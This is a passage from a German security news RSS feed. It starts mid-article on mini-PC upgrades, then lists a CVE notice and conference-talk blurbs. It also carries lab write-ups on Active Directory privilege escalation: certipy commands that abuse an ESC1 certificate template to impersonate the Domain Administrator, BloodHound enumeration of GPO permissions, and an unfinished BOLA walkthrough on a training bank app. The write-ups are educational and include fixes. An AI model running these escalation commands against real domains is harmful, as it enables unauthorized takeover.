<p>Auch ohne neue Hardware lässt sich Tempo gewinnen. Ein aktuelles BIOS behebt Fehler und gibt manchmal höhere RAM-Taktraten frei. Vor dem Update sollten Sie aber das exakte Modell prüfen, die Herstellerhinweise lesen und den Vorgang nicht bei instabiler Stromversorgung starten.</p>



<p>Wer Windows als Bremse empfindet, kann ein schlankes Linux installieren. Das weckt gerade ältere Mini-PCs neu auf. Beides kostet kein zusätzliches Geld, verlangt aber Vorbereitung und etwas Zeit.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">

</div></figure>



<h2 class="wp-block-heading">Wo die Grenzen liegen</h2>



<p>Drei Dinge bleiben bei den meisten Mini-PCs praktisch ausgeschlossen. Der Prozessor ist verlötet und nicht zu tauschen. Die integrierte Grafik hängt am Prozessor und teilt sein Schicksal. Und die maximale RAM-Kapazität legt das Board fest, nicht der gute Wille. Wer an diese Wände stößt, steht vor der Frage nach einem neuen Gerät – nicht vor einem Upgrade.</p>



<h2 class="wp-block-heading">Was sich lohnt – und was nicht</h2>



<p>Unterm Strich zeichnet sich eine klare Rangfolge ab. Mehr RAM bringt für wenig Geld viel und bleibt der erste Griff, sofern ein Sockel verbaut ist. Eine größere oder schnellere SSD schafft Platz und Reserven. Das WLAN-Modul lohnt sich nur mit passender Gegenstelle. Eine eGPU kann den Mini-PC deutlich spieletauglicher machen, verlangt aber Anschluss, Geld und einen festen Platz. Prozessor und Grafikeinheit können nicht angerührt werden.</p>



<p>Der wichtigste Schritt steht vor dem Kauf: Wer später aufrüsten will, prüft Sockel, Steckplätze und Anschlüsse im Datenblatt. Ein Mini-PC mit zwei RAM-Slots, zusätzlichem M.2-Steckplatz und OCuLink-Port lässt viele Aufrüstoptionen offen. Ein flaches Modell mit verlötetem Speicher bleibt dagegen weitgehend auf dem Stand des ersten Tages.</p>



<div class="wp-block-idg-base-theme-faq-block faq-block"><h2 class="faq-block-title"> FAQ </h2><hr class="block-horizotal-divider">
<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">1.</span>
<h3 class="wp-block-heading"><strong>Kann man jeden Mini-PC aufrüsten?</strong></h3>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p>Nein. Viele Mini-PCs erlauben den Tausch von RAM, SSD oder WLAN-Modul. Sehr flache Modelle haben den Arbeitsspeicher aber oft verlötet oder erschweren den Zugriff auf einzelne Komponenten.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">2.</span>
<h3 class="wp-block-heading"><strong>Was bringt bei Mini-PCs am meisten?</strong></h3>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p>Meist lohnt zuerst mehr Arbeitsspeicher. Danach folgt eine größere oder schnellere SSD. Beides verbessert Alltagstempo, Multitasking und Reserven deutlich.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">3.</span>
<h3 class="wp-block-heading"><strong>Kann man den Prozessor tauschen?</strong></h3>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p>In der Regel nicht. Prozessor und integrierte Grafik sind bei Mini-PCs fast immer fest verlötet. Ein CPU-Upgrade ist daher praktisch ausgeschlossen.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">4.</span>
<h3 class="wp-block-heading"><strong>Ist eine externe Grafikkarte sinnvoll?</strong></h3>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p>Ja, aber nur mit passendem Anschluss und realistischem Budget. OCuLink liefert meist die bessere eGPU-Leistung, USB4 und Thunderbolt sind dafür flexibler. Ein eGPU-Gehäuse, Netzteil und Grafikkarte machen das Setup aber teuer.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">5.</span>
<h3 class="wp-block-heading"><strong>Lohnt sich ein WLAN-Upgrade?</strong></h3>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p>Nur, wenn auch der Router den neuen Standard unterstützt. Wer den Mini-PC per LAN-Kabel nutzt, profitiert von einem neuen WLAN-Modul kaum.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">6.</span>
<h3 class="wp-block-heading"><strong>Worauf sollte man vor dem Kauf achten?</strong></h3>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p>Wichtig sind RAM-Slots, ein zusätzlicher M.2-Steckplatz, Platz für SSDs ohne hohen Kühlkörper, ein tauschbares WLAN-Modul und bei eGPU-Plänen ein ausgewiesener OCuLink-Anschluss.</p>
</div>
</div></div>
</div>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-16198 | Sipeed PicoClaw up to 0.2.9 First Run Setup access_control.go allowed_cidrs authentication bypass (Issue 3080 / EUVD-2026-45409)]]></title>
<description><![CDATA[A vulnerability marked as critical has been reported in Sipeed PicoClaw up to 0.2.9. The impacted element is an unknown function of the file web/backend/middleware/access_control.go of the component First Run Setup. Performing a manipulation of the argument allowed_cidrs results in authentication...]]></description>
<link>https://tsecurity.de/de/3678812/sicherheitsluecken/cve-2026-16198-sipeed-picoclaw-up-to-029-first-run-setup-accesscontrolgo-allowedcidrs-authentication-bypass-issue-3080-euvd-2026-45409/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678812/sicherheitsluecken/cve-2026-16198-sipeed-picoclaw-up-to-029-first-run-setup-accesscontrolgo-allowedcidrs-authentication-bypass-issue-3080-euvd-2026-45409/</guid>
<pubDate>Sun, 19 Jul 2026 05:23:53 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">critical</a> has been reported in <a href="https://vuldb.com/product/sipeed:picoclaw">Sipeed PicoClaw up to 0.2.9</a>. The impacted element is an unknown function of the file <em>web/backend/middleware/access_control.go</em> of the component <em>First Run Setup</em>. Performing a manipulation of the argument <em>allowed_cidrs</em> results in authentication bypass using alternate channel.

This vulnerability was named <a href="https://vuldb.com/cve/CVE-2026-16198">CVE-2026-16198</a>. The attack may be initiated remotely. In addition, an exploit is available.

Applying a patch is the recommended action to fix this issue.]]></content:encoded>
</item>
<item>
<title><![CDATA[Life Cycle Impact Assessment (hackover2026)]]></title>
<description><![CDATA[Life Cycle Assessments von Produkten werden wichtiger, seit Nachhaltigkeit ein Thema ist. Kleine Veränderungen können großen Einfluss auf den ökologischen Fußabdruck haben, die richtigen Stellschrauben gilt es zu finden. Das verbreitete Werkzeug "OpenLCA" von Green Delta richtet sich zwar an Expe...]]></description>
<link>https://tsecurity.de/de/3678759/it-security-video/life-cycle-impact-assessment-hackover2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678759/it-security-video/life-cycle-impact-assessment-hackover2026/</guid>
<pubDate>Sun, 19 Jul 2026 04:32:58 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Life Cycle Assessments von Produkten werden wichtiger, seit Nachhaltigkeit ein Thema ist. Kleine Veränderungen können großen Einfluss auf den ökologischen Fußabdruck haben, die richtigen Stellschrauben gilt es zu finden. Das verbreitete Werkzeug &quot;OpenLCA&quot; von Green Delta richtet sich zwar an Expert*innen - aber es hat ein TypeScript API. Es erlaubt dir, einfache Oberflächen anzubieten und die Berechnung von LCAs zu automatisieren. In einer Live Session präsentiere ich ein vereinfachtes Life Cycle Assessment zunächst in OpenLCA, dann baue ich ihm ein React Frontend mit dem &quot;olca-ipc&quot; TypeScript-Paket und starte die gleiche Berechnung im Web Browser. Auf einmal scheint alles ganz einfach.

Licensed to the public under https://creativecommons.org/licenses/by/4.0/
about this event: https://talks.hackover.de/ho26/talk/YQYUQD/]]></content:encoded>
</item>
<item>
<title><![CDATA[I breathed new life into my vinyl with Fluance's RT87 turntable and while setup was finicky, it's well worth it for seasoned record collectors]]></title>
<description><![CDATA[The Fluance RT87 sounds as great as it is finicky to set up — but then again, if you're a seasoned hi-fi tinkerer, you may actually enjoy the process…]]></description>
<link>https://tsecurity.de/de/3678439/it-nachrichten/i-breathed-new-life-into-my-vinyl-with-fluances-rt87-turntable-and-while-setup-was-finicky-its-well-worth-it-for-seasoned-record-collectors/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678439/it-nachrichten/i-breathed-new-life-into-my-vinyl-with-fluances-rt87-turntable-and-while-setup-was-finicky-its-well-worth-it-for-seasoned-record-collectors/</guid>
<pubDate>Sat, 18 Jul 2026 21:17:47 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Fluance RT87 sounds as great as it is finicky to set up — but then again, if you're a seasoned hi-fi tinkerer, you may actually enjoy the process…]]></content:encoded>
</item>
<item>
<title><![CDATA[Realize the Potential of OpenVox – with LinuxAid (voxconf2026)]]></title>
<description><![CDATA[Puppet has been the hidden glue of system automation for decades  but it never came turnkey. Every sysadmin built their own setup: roles, profiles, PuppetDB, eyaml, hiera, octocatalog-diff  reinventing the same wheel, privately, forever. LinuxAid changes that. Built on OpenVox, it packages those ...]]></description>
<link>https://tsecurity.de/de/3678306/it-security-video/realize-the-potential-of-openvox-with-linuxaid-voxconf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678306/it-security-video/realize-the-potential-of-openvox-with-linuxaid-voxconf2026/</guid>
<pubDate>Sat, 18 Jul 2026 19:10:08 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Puppet has been the hidden glue of system automation for decades  but it never came turnkey. Every sysadmin built their own setup: roles, profiles, PuppetDB, eyaml, hiera, octocatalog-diff  reinventing the same wheel, privately, forever. LinuxAid changes that. Built on OpenVox, it packages those decades of hard-won operational decisions  the common module, monitoring module, typed DSL, change-preview with octocatalog-diff  into a single collaborative platform anyone can fork, use, and improve. When you build your platform as open source instead of just on open source, the work you do for one customer compounds for everyone.


about this event: https://c3voc.de]]></content:encoded>
</item>
<item>
<title><![CDATA[Realize the Potential of OpenVox – with LinuxAid (voxconf2026)]]></title>
<description><![CDATA[Puppet has been the hidden glue of system automation for decades  but it never came turnkey. Every sysadmin built their own setup: roles, profiles, PuppetDB, eyaml, hiera, octocatalog-diff  reinventing the same wheel, privately, forever. LinuxAid changes that. Built on OpenVox, it packages those ...]]></description>
<link>https://tsecurity.de/de/3678295/it-security-video/realize-the-potential-of-openvox-with-linuxaid-voxconf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678295/it-security-video/realize-the-potential-of-openvox-with-linuxaid-voxconf2026/</guid>
<pubDate>Sat, 18 Jul 2026 18:48:43 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Puppet has been the hidden glue of system automation for decades  but it never came turnkey. Every sysadmin built their own setup: roles, profiles, PuppetDB, eyaml, hiera, octocatalog-diff  reinventing the same wheel, privately, forever. LinuxAid changes that. Built on OpenVox, it packages those decades of hard-won operational decisions  the common module, monitoring module, typed DSL, change-preview with octocatalog-diff  into a single collaborative platform anyone can fork, use, and improve. When you build your platform as open source instead of just on open source, the work you do for one customer compounds for everyone.


about this event: https://c3voc.de]]></content:encoded>
</item>
<item>
<title><![CDATA[Automated Game Hacking: Adding Procedural Generation to a Classic RPG (emf2026)]]></title>
<description><![CDATA[Ever wanted to replay your favorite game like it's the first time? We'll dive into the unique game design and balance challenges I encountered while building a randomizer for Final Fantasy I: Dawn of Souls. Game randomizers use procedural generation to automatically create a rom hack. I'll also b...]]></description>
<link>https://tsecurity.de/de/3678022/it-security-video/automated-game-hacking-adding-procedural-generation-to-a-classic-rpg-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678022/it-security-video/automated-game-hacking-adding-procedural-generation-to-a-classic-rpg-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 15:03:08 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ever wanted to replay your favorite game like it's the first time? We'll dive into the unique game design and balance challenges I encountered while building a randomizer for Final Fantasy I: Dawn of Souls. Game randomizers use procedural generation to automatically create a rom hack. I'll also break down how I reverse-engineered the game's scripting language to transform it into a true open-world adventure.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/100-automated-game-hacking]]></content:encoded>
</item>
<item>
<title><![CDATA[Automated Game Hacking: Adding Procedural Generation to a Classic RPG (emf2026)]]></title>
<description><![CDATA[Ever wanted to replay your favorite game like it's the first time? We'll dive into the unique game design and balance challenges I encountered while building a randomizer for Final Fantasy I: Dawn of Souls. Game randomizers use procedural generation to automatically create a rom hack. I'll also b...]]></description>
<link>https://tsecurity.de/de/3677946/it-security-video/automated-game-hacking-adding-procedural-generation-to-a-classic-rpg-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677946/it-security-video/automated-game-hacking-adding-procedural-generation-to-a-classic-rpg-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 14:03:25 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ever wanted to replay your favorite game like it's the first time? We'll dive into the unique game design and balance challenges I encountered while building a randomizer for Final Fantasy I: Dawn of Souls. Game randomizers use procedural generation to automatically create a rom hack. I'll also break down how I reverse-engineered the game's scripting language to transform it into a true open-world adventure.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/100-automated-game-hacking]]></content:encoded>
</item>
<item>
<title><![CDATA[How I Escalated to Domain Admin Using AD CS (And How to Fix It)]]></title>
<description><![CDATA[What is AD CS?Active Directory Certificate Services (AD CS) allows users and computers to obtain certificates for authentication, encryption, and other services.If certificate templates are misconfigured, attackers can request certificates for other users, including Domain Administrators, leading...]]></description>
<link>https://tsecurity.de/de/3677784/hacking/how-i-escalated-to-domain-admin-using-ad-cs-and-how-to-fix-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677784/hacking/how-i-escalated-to-domain-admin-using-ad-cs-and-how-to-fix-it/</guid>
<pubDate>Sat, 18 Jul 2026 11:39:17 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IwcmPEl9c14DK-2hWY1W1g.png"></figure><h3>What is AD CS?</h3><p><strong>Active Directory Certificate Services (AD CS)</strong> allows users and computers to obtain certificates for authentication, encryption, and other services.</p><p>If certificate templates are misconfigured, attackers can request certificates for <strong>other users</strong>, including <strong>Domain Administrators</strong>, leading to privilege escalation.</p><p>In this lab, I exploited an <strong>ESC1</strong> certificate template misconfiguration.</p><h3>Lab Setup</h3><ul><li><strong>Domain:</strong> LAB.LOCAL</li><li><strong>Domain Controller:</strong> 192.168.56.104</li><li><strong>Certificate Authority:</strong> lab-DC1-CA</li><li><strong>Attacker:</strong> bob</li></ul><h3>Step 1 — Enumerate AD CS</h3><p>First, I looked for vulnerable certificate templates using <strong>Certipy</strong>.</p><pre>certipy-ad find -u bob@lab.local -p 'password@123' -dc-ip 192.168.56.104 -dc-host DC1.lab.local -target DC1.lab.local -ldap-scheme ldap -vulnerable -debug</pre><p>Certipy identified a vulnerable template named:</p><pre>ESC1-Lab</pre><p>This template allowed the requester to specify an arbitrary <strong>User Principal Name (UPN)</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MMCsemUil50u2bqrh-1jHA.png"></figure><h3>Step 2 — Request an Administrator Certificate</h3><p>Since the template was vulnerable, I requested a certificate while impersonating the <strong>Administrator</strong> account.</p><pre>certipy-ad req -u bob@lab.local -p 'Password@123' -ca lab-DC1-CA -template ESC1-Lab -upn Administrator@lab.local -dc-ip 192.168.56.104</pre><p>Certipy successfully issued an <strong>Administrator certificate</strong> and saved it as:</p><pre>administrator.pfx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-_feIP7X-uB2A68CtwlfQA.png"></figure><h3>Step 3 — Authenticate as Administrator</h3><p>Finally, I authenticated using the issued certificate.</p><pre>certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.56.104</pre><p>Authentication succeeded, allowing me to impersonate the <strong>Domain Administrator</strong> without ever knowing the Administrator’s password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vh8aenq802cDnuJT2GG2rQ.png"></figure><h3>Why Did This Work?</h3><p>The certificate template was vulnerable to <strong>ESC1</strong> because it:</p><ul><li>Allowed users to enroll.</li><li>Allowed the requester to supply any UPN.</li><li>Was trusted for client authentication.</li></ul><p>This meant Bob could request a certificate for <strong>Administrator@lab.local</strong> and authenticate as that user.</p><h3>How to Fix It</h3><p>To prevent ESC1 attacks:</p><p>1.Disable <strong>“Supply in the request”</strong> unless absolutely necessary.</p><p>2. Restrict enrollment permissions to trusted users.</p><p>3. Review certificate templates regularly.</p><p>4. Remove unnecessary Client Authentication EKUs.</p><p>5. Audit AD CS with tools like <strong>Certipy</strong> and <strong>BloodHound</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*nXg7Fgi0SkhyFf5sYadGyg.png"></figure><h3>Verify the Fix</h3><p>Run the enumeration again.</p><pre>certipy-ad find -u bob@lab.local -p 'password@123' -dc-ip 192.168.56.104 -vulnerable</pre><p>If the template is properly secured, <strong>ESC1-Lab</strong> should no longer appear as vulnerable.</p><h3>Key Takeaways</h3><p>1. Regularly audit AD CS templates.</p><p>2. Follow the principle of least privilege.</p><p>3. Restrict certificate enrollment permissions.</p><p>4. Monitor certificate enrollment events.</p><blockquote><strong><em>Disclaimer:</em></strong><em> This article is part of my Active Directory Lab Series. All demonstrations were performed in my self-hosted GOAD lab for educational and defensive purposes. Never perform these techniques on systems without proper authorization.</em></blockquote><p><em>— Written by</em></p><p><strong>Aruvasaga Chithan A</strong></p><p><strong>Ethical Hacker &amp; Cyber Security Researcher.</strong></p><p><strong>Thanks for reading — your support keeps me writing.</strong><br><strong>See you in the next article…</strong></p><p><a href="http://www.linkedin.com/in/aruvasaga-chithan"><em>Linkedin</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=a86cc69aed5a" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-escalated-to-domain-admin-using-ad-cs-and-how-to-fix-it-a86cc69aed5a">How I Escalated to Domain Admin Using AD CS (And How to Fix It)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How I Abused a Group Policy Object (GPO) in Active Directory (And How to Fix It)]]></title>
<description><![CDATA[Group Policy Objects (GPOs) are one of the most powerful features in Active Directory. They allow administrators to manage settings across computers and users.But if the wrong user has control over a GPO, it can become an easy privilege escalation path.In this lab, I’ll use BloodHound to identify...]]></description>
<link>https://tsecurity.de/de/3677783/hacking/how-i-abused-a-group-policy-object-gpo-in-active-directory-and-how-to-fix-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677783/hacking/how-i-abused-a-group-policy-object-gpo-in-active-directory-and-how-to-fix-it/</guid>
<pubDate>Sat, 18 Jul 2026 11:39:16 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IYSV94Q4TKE53NHop9sBDw.png"></figure><p>Group Policy Objects (GPOs) are one of the most powerful features in Active Directory. They allow administrators to manage settings across computers and users.</p><p>But if the wrong user has control over a GPO, it can become an easy privilege escalation path.</p><p>In this lab, I’ll use <strong>BloodHound</strong> to identify a dangerous GPO permission and then show how to fix it.</p><h3>Lab Setup</h3><ul><li><strong>Domain:</strong> LAB.LOCAL</li><li><strong>Domain Controller:</strong> 192.168.56.104</li><li><strong>Attacker:</strong> Kali Linux</li><li><strong>User:</strong> bob</li></ul><h3>Step 1 — Collect Active Directory Data</h3><p>First, I collected information from Active Directory using <strong>BloodHound.py</strong>.</p><pre>bloodhound-python -u bob -p 'password@123' -d lab.local -ns 192.168.56.104 -c All --zip</pre><p>BloodHound successfully collected:</p><ul><li>8 Users</li><li>55 Groups</li><li>3 GPOs</li><li>2 OUs</li><li>1 Computer</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jA0bN8_u-FCRSuDjOdIbFg.png"></figure><h3>Step 2 — Import into BloodHound</h3><p>Next, I uploaded the generated ZIP file into BloodHound Community Edition.</p><p>BloodHound maps relationships between users, groups, computers, OUs, and GPOs, making it much easier to spot privilege escalation paths.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T0gcQnP34CNfRQp0qFv4hw.png"></figure><h3>Step 3 — Finding the Misconfiguration</h3><p>BloodHound showed that <strong>Bob</strong> had <strong>WriteDacl</strong>, <strong>WriteOwner</strong>, and <strong>GenericWrite</strong> permissions over the <strong>Employees Policy</strong> GPO.</p><p>These permissions are dangerous because they allow a user to modify who controls the GPO or change its configuration.</p><h3>Why Is This Dangerous?</h3><p>If an attacker can edit a GPO linked to an Organizational Unit (OU), they may be able to:</p><ul><li>Execute scripts on domain computers</li><li>Deploy scheduled tasks</li><li>Add users to local Administrators</li><li>Push malicious registry changes</li><li>Gain higher privileges across the domain</li></ul><p>A single misconfigured GPO can impact many systems at once.</p><h3>Step 4 — Fixing the Issue</h3><p>On the Domain Controller:</p><pre>Group Policy Management<br>        ↓<br>Employees Policy<br>        ↓<br>Delegation</pre><p>Review who has permissions on the GPO.</p><p>Remove unnecessary permissions such as:</p><ul><li>GenericWrite</li><li>misconfiguredWriteDacl</li><li>WriteOwner</li></ul><p>Only trusted administrators should have these rights.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*FC8s8UA4FIWW0lay8j9Ikw.png"></figure><h3>Verify the Fix</h3><p>Run BloodHound again after updating the permissions.</p><pre>bloodhound-python -u bob -p 'password@123' -d lab.local -ns 192.168.56.104 -c All --zip</pre><p>Re-import the ZIP into BloodHound.</p><p>The dangerous permission edges should no longer appear for <strong>Bob</strong>.</p><h3>Key Takeaways</h3><p>1.Regularly audit GPO permissions.</p><p>2. Use the principle of least privilege.</p><p>3. Review BloodHound findings periodically.</p><p>4. Remove unnecessary <strong>GenericWrite</strong>, <strong>WriteDacl</strong>, and <strong>WriteOwner</strong> permissions.</p><blockquote><strong><em>Disclaimer:</em></strong><em> </em>The techniques demonstrated in this article were performed in a private Active Directory lab for learning purposes. Always obtain proper authorization before testing any production environment.</blockquote><p><em>— Written by</em></p><p><strong>Aruvasaga Chithan A</strong></p><p><strong>Ethical Hacker &amp; Cyber Security Researcher.</strong></p><p><strong>Thanks for reading — your support keeps me writing.</strong><br><strong>See you in the next article…</strong></p><p><a href="http://www.linkedin.com/in/aruvasaga-chithan"><em>Linkedin</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=5d59c031e602" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-abused-a-group-policy-object-gpo-in-active-directory-and-how-to-fix-it-5d59c031e602">How I Abused a Group Policy Object (GPO) in Active Directory (And How to Fix It)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I Funded a Stranger’s Bank Card With My Own Money; and That’s Exactly the Problem]]></title>
<description><![CDATA[A hands-on walkthrough of Broken Object Level Authorization (BOLA) on VulnBankVulnBankThere’s a moment in every appsec learner’s journey where a vulnerability stops being a bullet point on the OWASP API Top 10 and starts being something you actually did. For me, that moment was watching one user’...]]></description>
<link>https://tsecurity.de/de/3677763/hacking/i-funded-a-strangers-bank-card-with-my-own-money-and-thats-exactly-the-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677763/hacking/i-funded-a-strangers-bank-card-with-my-own-money-and-thats-exactly-the-problem/</guid>
<pubDate>Sat, 18 Jul 2026 11:21:50 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>A hands-on walkthrough of Broken Object Level Authorization (BOLA) on VulnBank</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mTehjKwtISkTLR8KwRRrRw.png"><figcaption>VulnBank</figcaption></figure><p>There’s a moment in every appsec learner’s journey where a vulnerability stops being a bullet point on the OWASP API Top 10 and starts being something you actually <em>did</em>. For me, that moment was watching one user’s card get funded by another user’s session — no exploit chain, no payload, just a number in a URL that should never have worked.</p><p>This is the walkthrough of how I found (and rigorously confirmed) a Broken Object Level Authorization vulnerability in <strong>VulnBank</strong>, an intentionally vulnerable banking application built for security training.</p><h3>What Is BOLA, Actually?</h3><p>Broken Object Level Authorization sits at <strong>#1 </strong>on the <strong>OWASP API Security Top 10 </strong>(API 1: 2023), and for good reason — it’s common, trivial to exploit, and quietly devastating.</p><p>The core idea in one sentence: <strong>the server correctly checks who you are, but never checks what you’re allowed to touch.</strong></p><p>Any API endpoint that takes an object identifier — a <strong>card_id</strong>, <strong>account_number</strong>, <strong>order_id </strong>— needs to answer two separate questions:</p><ol><li><strong>Authentication: </strong>is this a valid, logged-in user?</li><li><strong>Authorization: </strong>should <em>this </em><strong><em>specific user</em> </strong>be allowed to access <em>this specific object</em>?</li></ol><p>BOLA is what happens when an API nails question one and skips question two entirely. Usually it’s one missing clause in a query.</p><p>The vulnerable version:</p><pre>SELECT * FROM cards WHERE id = :card_id</pre><p>The fixed version:</p><pre>SELECT * FROM cards WHERE id = :card_id AND user_id = :authenticated_user_id</pre><p>That’s genuinely the whole difference and because it never breaks anything during normal use (your own IDs always belong to you), it hides in plain sight until someone deliberately tries an ID that isn’t theirs.</p><p>So that’s exactly what I did — with two accounts, on purpose, so I could prove it beyond doubt rather than just suspect it.</p><h3>Setting the Stage: Two Users, Two Cards</h3><p>Testing BOLA against yourself proves nothing — you always have legitimate access to your own resources. So I set up two separate accounts to simulate a real attacker/victim scenario.</p><h3><strong>User 1 — Jhonny</strong></h3><ul><li>I created a virtual card with a <strong>$2,500 </strong>limit.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*IzNdvQ1HNkbGSk9AEz70FQ.png"><figcaption>Jhonny’s Virtual Card</figcaption></figure><ul><li>I then funded it with <strong>$80 </strong>from the main balance.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*yyZLbn89enTTeEBs4gSKow.png"><figcaption>Funding the card</figcaption></figure><p>With the funding request captured in <strong>Burp Suite</strong>, I sent it to Repeater for closer inspection, this is the request whose <strong>card_id </strong>parameter would become the centerpiece of the whole test.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EKOsjOROq-GWkyoTOSyHNw.png"><figcaption>Jhonny Card Request in Burp</figcaption></figure><h3><strong>User 2 — Alex</strong></h3><p>Same setup:</p><ul><li>A fresh virtual card of <strong>$2,500 </strong>limit.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*A-bryCWIEKgcBWvJSyHgGQ.png"><figcaption>Alex’s Virtual Card</figcaption></figure><ul><li>Funded with $100.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*H-zuUIktIse3J_FkKY4iRg.png"><figcaption>Funding Alex’s card</figcaption></figure><ul><li>And the same treatment — captured the request and sent it to Repeater.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MhtrbarCUBXaggWB7u-YBw.png"><figcaption>Alex’s Card Request in Burp</figcaption></figure><p>Two accounts, two cards, two independent funding requests sitting side by side. Now the real test could begin.</p><h3>Step One: Does the App Even Check Who You Are?</h3><p>Before hunting for authorization flaws, I checked the basics. I stripped the session cookie and Authorization header from a funding request entirely and sent it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SkZ3P_vd-a31Bxve6I1kMw.png"><figcaption>Token error (Authentication enabled)</figcaption></figure><p><strong>401 Unauthorized: "Token is missing."</strong></p><p>Good! The server clearly enforces authentication. That ruled out the simplest failure mode and pointed straight at the real question: does it check <strong><em>which</em> </strong>authenticated user is making the request, or just <strong><em>that</em> </strong>one is?</p><h3>Step Two: The Swap</h3><p>This is the actual test, and it’s almost anticlimactic in how simple it is.</p><p>I took <strong>Jhonny’s</strong> valid token and used it to fund <strong>Alex’s</strong> card:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pM9M7X-q1bMfJng1TcsNqA.png"><figcaption>Funding Alex’s card with Jhonny’s Token</figcaption></figure><p><strong>200 OK.</strong> The card funded successfully with Jhonny's session authorizing a change to Alex's card.</p><p>Then I reversed it, <strong>Alex’s</strong> token, aimed at <strong>Jhonny’s</strong> card:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-5Qqk7A4XKvrvCkqyXgRFQ.png"><figcaption>Funding Jhonny’s card with Alex’s Token</figcaption></figure><p><strong>200 OK</strong> again. Same result, opposite direction.</p><p>Neither request was rejected. The server verified that a valid token was present but never verified that the token holder actually owned the 